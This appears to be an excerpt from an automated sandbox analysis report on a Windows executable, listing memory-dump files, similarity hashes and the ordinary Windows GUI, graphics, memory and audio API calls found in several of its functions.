          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Object$Select$Delete$Create$Compatible$Bitmap$ColorCountStretchTick__ftol$ClientDisplayEnumModeRectReleaseSettingsSleepWindow
          • String ID:
          • API String ID: 1975044605-0
          • Opcode ID: ff7b309a2e6c44d054701e26007878dacfbb449b896081f0438d56aa9dd416d0
          • Instruction ID: 544394263ef44d98b93a98e3c7b8b3d1107e5c01cb31d133f42bfb47a964139a
          • Opcode Fuzzy Hash: ff7b309a2e6c44d054701e26007878dacfbb449b896081f0438d56aa9dd416d0
          • Instruction Fuzzy Hash: 8C0217B5204740AFE320DF65CC85F6BB7E8EB89B00F10491DF696936A0D7B4F8458B29
          APIs
            • Part of subcall function 004243D0: SendMessageA.USER32(?,00000143,00000000,?), ref: 004243F3
          • GetProfileStringA.KERNEL32(windows,device,,,,,?,000001F4), ref: 0043DEB9
          • GetProfileStringA.KERNEL32(devices,00000000,004DBE94,?,00001000), ref: 0043DEF8
          • GetProfileStringA.KERNEL32(devices,?,,,,,?,000000C8), ref: 0043DF3A
          • SendMessageA.USER32(?,00000143,00000000), ref: 0043DFFB
          • SendMessageA.USER32(?,0000014E,?,00000000), ref: 0043E038
          • SendMessageA.USER32(?,0000014E,?,00000000), ref: 0043E0DB
          • wsprintfA.USER32 ref: 0043E0F4
          • wsprintfA.USER32 ref: 0043E11A
          • wsprintfA.USER32 ref: 0043E140
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E173
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E19E
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E1B4
          • SendMessageA.USER32(?,0000014E,?,00000000), ref: 0043E1CB
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E20F
          • wsprintfA.USER32 ref: 0043E222
          • wsprintfA.USER32 ref: 0043E24C
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E272
          • SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0043E2B3
          • wsprintfA.USER32 ref: 0043E2C4
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$wsprintf$ProfileString
          • String ID: ,,,$device$devices$none$windows
          • API String ID: 2373861888-528626633
          • Opcode ID: 604509a101e96bf6f6d451b3fb8ac046eeb47e2a7b6716997f9b527a75334b29
          • Instruction ID: b7def74a69fde3b6566de6d14d6782e716d20c3647f8fc92379151743c724eea
          • Opcode Fuzzy Hash: 604509a101e96bf6f6d451b3fb8ac046eeb47e2a7b6716997f9b527a75334b29
          • Instruction Fuzzy Hash: CDC1B771240701ABD624DB75CC81FEB73E9AB88748F00091EF66A971D0DEB8F645CB59
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: dbd17e52e4174c0c7f79f8e771594c5a4c1a437aafb8a38c5e6a64403221a873
          • Instruction ID: 09a3f0f376896faa748c628f777a5fbabac55739023022a50f0d7e5f0be84689
          • Opcode Fuzzy Hash: dbd17e52e4174c0c7f79f8e771594c5a4c1a437aafb8a38c5e6a64403221a873
          • Instruction Fuzzy Hash: 78D15BB2704606AFD304DFA9E8C4D97B7ACFB89365B10893AF105C7291D735E861CBA4
          APIs
          • GetSysColor.USER32(00000010), ref: 0044D208
            • Part of subcall function 0049A9F8: SetBkColor.GDI32(?,?), ref: 0049AA07
            • Part of subcall function 0049A9F8: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0049AA39
          • GetSysColor.USER32(00000014), ref: 0044D240
          • InflateRect.USER32(?,000000FF,000000FF), ref: 0044D272
          • GetSysColor.USER32(00000016), ref: 0044D28B
          • GetSysColor.USER32(0000000F), ref: 0044D29B
          • DrawEdge.USER32(?,?,00000002,0000000F), ref: 0044D2D4
          • GetDeviceCaps.GDI32(?), ref: 0044D4DE
          • RealizePalette.GDI32(?), ref: 0044D501
          • GetSysColor.USER32(00000014), ref: 0044D519
          • GetSysColor.USER32(0000000F), ref: 0044D52B
          • GetSysColor.USER32(0000000F), ref: 0044D1E1
            • Part of subcall function 0049A9CE: SetBkColor.GDI32(?,?), ref: 0049A9D8
            • Part of subcall function 0049A9CE: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0049A9EE
          • GetSysColor.USER32(0000000F), ref: 0044D338
          • InflateRect.USER32(?,000000FF,000000FF), ref: 0044D371
          • GetSysColor.USER32(00000016), ref: 0044D386
          • GetSysColor.USER32(0000000F), ref: 0044D392
          • InflateRect.USER32(?,?,?), ref: 0044D3D3
          • GetSysColor.USER32(00000010), ref: 0044D3D7
          • Rectangle.GDI32(?,?,?,?,?), ref: 0044D41E
          • DrawEdge.USER32(?,?,00000002,0000000F), ref: 0044D459
          • DrawEdge.USER32(?,?,00000002,0000000F), ref: 0044D560
          • GetSysColor.USER32(00000010), ref: 0044D5BD
          • CreatePen.GDI32(00000000,00000001,00000000), ref: 0044D5C4
          • InflateRect.USER32(?,?,?), ref: 0044D603
          • Rectangle.GDI32(?,?,?,?,?), ref: 0044D621
          • GetDeviceCaps.GDI32(?,00000026), ref: 0044D657
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Color$InflateRect$DrawEdge$CapsDeviceRectangleText$CreatePaletteRealize
          • String ID:
          • API String ID: 3119264602-0
          • Opcode ID: 13fd8fc6727c668e94e21905c8ed35be659a006d7597c32316ee652acc64b0a8
          • Instruction ID: 4206322434332f6c75e3a7ab2d675bbc4819534cefb4b23c96143ee94f234bfa
          • Opcode Fuzzy Hash: 13fd8fc6727c668e94e21905c8ed35be659a006d7597c32316ee652acc64b0a8
          • Instruction Fuzzy Hash: 77F17AB1604701AFD714DF68C880F6BB7E9FB89714F008A2EF65687291DBB4E805CB56
          APIs
          • CreateDIBitmap.GDI32(?,?,00000004,?,?,00000000), ref: 0042A28C
          • CreateCompatibleDC.GDI32(?), ref: 0042A29E
          • CreateCompatibleDC.GDI32(?), ref: 0042A2A7
          • SelectObject.GDI32(00000000,?), ref: 0042A2B6
          • CreateCompatibleBitmap.GDI32(?,?,?), ref: 0042A2C9
          • SelectObject.GDI32(?,00000000), ref: 0042A2D9
          • BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 0042A2F9
          • SelectObject.GDI32(00000000,?), ref: 0042A305
          • DeleteDC.GDI32(00000000), ref: 0042A312
          • SelectObject.GDI32(?,?), ref: 0042A31A
          • DeleteDC.GDI32(?), ref: 0042A321
          • DeleteObject.GDI32(?), ref: 0042A327
          • CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0042A35D
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateObject$Select$BitmapCompatibleDelete
          • String ID: $($(
          • API String ID: 1878064223-3669016180
          • Opcode ID: 23f5d97bc53895b6d898e7a38f4e650327bca90f5a246f8f0327614021f396a1
          • Instruction ID: 406482e0ad56d6c89b10974d5e22377cb5a1050282c178547a74d8b0643ec93a
          • Opcode Fuzzy Hash: 23f5d97bc53895b6d898e7a38f4e650327bca90f5a246f8f0327614021f396a1
          • Instruction Fuzzy Hash: 3FD146B5A043019FC710CF25D884A6BBBE9EFC9310F14892EF99693360D774E845CB66
          APIs
          • SetWindowRgn.USER32(?,00000000,00000001), ref: 0041FE71
          • GetWindowRect.USER32(?,?), ref: 0041FE9E
          • BeginPath.GDI32(?), ref: 0041FF27
          • MulDiv.KERNEL32(7FFF0000,?,00007FFF), ref: 0041FF40
          • MulDiv.KERNEL32(00000000,?,00007FFF), ref: 0041FF4F
          • MulDiv.KERNEL32(3FFF0000,?,00007FFF), ref: 0041FF77
          • MulDiv.KERNEL32(00000000,?,00007FFF), ref: 0041FF86
          • EndPath.GDI32(?), ref: 0041FFA1
          • PathToRegion.GDI32(?), ref: 0041FFAC
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Path$Window$BeginRectRegion
          • String ID: 4dJ$@dJ$@dJ$gfff$gfff
          • API String ID: 3989698161-4103613698
          • Opcode ID: 5475dbc99e6fc94c0119283f77a073fa168efaede951e286d9777e2fa8fed98a
          • Instruction ID: 928ae8a44ac5c2746405f1faba84ae5fffcaddd25e1808a89ad7dd9a56810c0d
          • Opcode Fuzzy Hash: 5475dbc99e6fc94c0119283f77a073fa168efaede951e286d9777e2fa8fed98a
          • Instruction Fuzzy Hash: 1E8101B16043419FD714DF29CC85E6BBBE8FB99704F04493EF58683390DA38A809CB66
          APIs
            • Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
            • Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1
            • Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B
          • IsRectEmpty.USER32(?), ref: 0040FC05
          • GetCurrentObject.GDI32(?,00000002), ref: 0040FC4A
          • GetCurrentObject.GDI32(?,00000001), ref: 0040FC5D
          • GetClientRect.USER32 ref: 0040FCE2
          • CreatePen.GDI32(-00000003,00000000,?), ref: 0040FCFE
          • PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 0040FDC2
            • Part of subcall function 004988F5: __EH_prolog.LIBCMT ref: 004988FA
            • Part of subcall function 004988F5: EndPaint.USER32(?,?,?,?,0040D8E3), ref: 00498917
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CurrentH_prologObjectPaintRect$BeginClientClipCreateEmpty
          • String ID: L\J$\[J$gfff
          • API String ID: 3506841274-2929310805
          • Opcode ID: 2aed429bef600c363fffe495acab2a9754ca69b4d9c0d245323f59168fe2bad8
          • Instruction ID: 6adb809a4b317a3332ed0f26381a460a4d30f66896481caf86d417e45ca2e7ea
          • Opcode Fuzzy Hash: 2aed429bef600c363fffe495acab2a9754ca69b4d9c0d245323f59168fe2bad8
          • Instruction Fuzzy Hash: B3E18EB11083419BC724DF58C881E6FBBE9BB89314F104A3EF59593291DB38E909CB67
          APIs
          • GetStockObject.GDI32(0000000F), ref: 00427EC4
          • GetObjectA.GDI32(?,00000018,?), ref: 00427ED7
          • SelectPalette.GDI32(?,00000000,00000000), ref: 00427F32
          • RealizePalette.GDI32(?), ref: 00427F3C
          • GlobalAlloc.KERNEL32(00000002,00000028), ref: 00427F46
          • SelectPalette.GDI32(?,?,00000000), ref: 00427F5C
          • GlobalLock.KERNEL32(00000000), ref: 00427F64
          • GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 00427F93
          • GlobalUnlock.KERNEL32(00000000), ref: 00427FE9
          • GlobalReAlloc.KERNEL32(00000000,?,00000002), ref: 00427FF2
          • GlobalLock.KERNEL32(00000000), ref: 00427FFF
          • GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 00428022
          • SelectPalette.GDI32(?,?,00000000), ref: 00428035
          • GlobalUnlock.KERNEL32(00000000), ref: 0042803C
          • GlobalFree.KERNEL32(00000000), ref: 00428043
            • Part of subcall function 0049878D: __EH_prolog.LIBCMT ref: 00498792
            • Part of subcall function 0049878D: ReleaseDC.USER32(?,00000000), ref: 004987B1
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$Palette$Select$AllocBitsLockObjectUnlock$FreeH_prologRealizeReleaseStock
          • String ID: ($TjJ&ljJ
          • API String ID: 3986717603-52760780
          • Opcode ID: 97a89a4c27d91f41db7e51950df5cad2a7db61263290de235e4b70f68a0d5ad7
          • Instruction ID: f7abd00390526022d6fe3b6ad65f15242b03ed181b4b6a1122d435b21222d9c0
          • Opcode Fuzzy Hash: 97a89a4c27d91f41db7e51950df5cad2a7db61263290de235e4b70f68a0d5ad7
          • Instruction Fuzzy Hash: 8F616B766083509FC320DB54DC44B6BBBE8FB89B10F15492DFA85973A0DB78E805CB96
          APIs
          • GetFocus.USER32 ref: 0041A67F
          • GetWindowRect.USER32(?,?), ref: 0041A6D6
          • GetParent.USER32(?), ref: 0041A6E6
          • GetParent.USER32(?), ref: 0041A719
          • GlobalSize.KERNEL32(00000000), ref: 0041A763
          • GlobalLock.KERNEL32(00000000), ref: 0041A76B
          • IsWindow.USER32(?), ref: 0041A784
          • GetTopWindow.USER32(?), ref: 0041A7C1
          • GetWindow.USER32(00000000,00000002), ref: 0041A7DA
          • SetParent.USER32(?,?), ref: 0041A806
          • SendMessageA.USER32(?,0000806F,00000000,00000000), ref: 0041A851
          • SendMessageA.USER32(?,00008076,00000000,00000000), ref: 0041A860
          • GetParent.USER32(?), ref: 0041A873
          • SendMessageA.USER32(?,00008004,00000000,00000000), ref: 0041A88C
          • GetWindowLongA.USER32(?,000000F0), ref: 0041A894
          • SendMessageA.USER32(?,0000130B,00000000,00000000), ref: 0041A8C4
          • SendMessageA.USER32(?,0000130C,00000000,00000000), ref: 0041A8D2
          • IsWindow.USER32(?), ref: 0041A91E
          • GetFocus.USER32 ref: 0041A928
          • SetFocus.USER32(?,00000000), ref: 0041A940
          • GlobalUnlock.KERNEL32(00000000), ref: 0041A94B
          • GlobalFree.KERNEL32(00000000), ref: 0041A952
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$MessageSend$GlobalParent$Focus$FreeLockLongRectSizeUnlock
          • String ID:
          • API String ID: 300820980-0
          • Opcode ID: 19a4e2a410972ea4f310363eec33c40408336756ba3e5b55e716b6fc429187b9
          • Instruction ID: 763a7125cdf22133515ad20897ed1bb5b09302a9efac7b019a4f653ac1c4f182
          • Opcode Fuzzy Hash: 19a4e2a410972ea4f310363eec33c40408336756ba3e5b55e716b6fc429187b9
          • Instruction Fuzzy Hash: C8A17DB1604300AFD714EF65CC85B6BBBE9BF88704F10892EF95197391CB78E8458B5A
          APIs
          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000022B8), ref: 00441C15
          • EnterCriticalSection.KERNEL32(?), ref: 00441C38
          • LeaveCriticalSection.KERNEL32(?), ref: 00441C46
          • waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 00441C68
          • waveOutPrepareHeader.WINMM(?,?,00000020), ref: 00441CB1
          • waveOutWrite.WINMM(?,?,00000020), ref: 00441CBE
          • EnterCriticalSection.KERNEL32(?), ref: 00441CC8
          • LeaveCriticalSection.KERNEL32(?), ref: 00441CD6
          • EnterCriticalSection.KERNEL32(?), ref: 00441D05
          • ReleaseSemaphore.KERNEL32(?,00000014,00000000), ref: 00441D23
          • LeaveCriticalSection.KERNEL32(?), ref: 00441D2A
          • waveOutPause.WINMM(?), ref: 00441D39
          • waveOutReset.WINMM(?), ref: 00441D43
          • waveOutUnprepareHeader.WINMM(?,00000000,00000020), ref: 00441D61
          • waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 00441D86
          • EnterCriticalSection.KERNEL32(004DBEB8), ref: 00441D9C
          • LeaveCriticalSection.KERNEL32(004DBEB8), ref: 00441DF8
          • CloseHandle.KERNEL32(?), ref: 00441E26
          • CloseHandle.KERNEL32(?), ref: 00441E2C
          • CloseHandle.KERNEL32(?), ref: 00441E32
          • DeleteCriticalSection.KERNEL32(?), ref: 00441E38
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
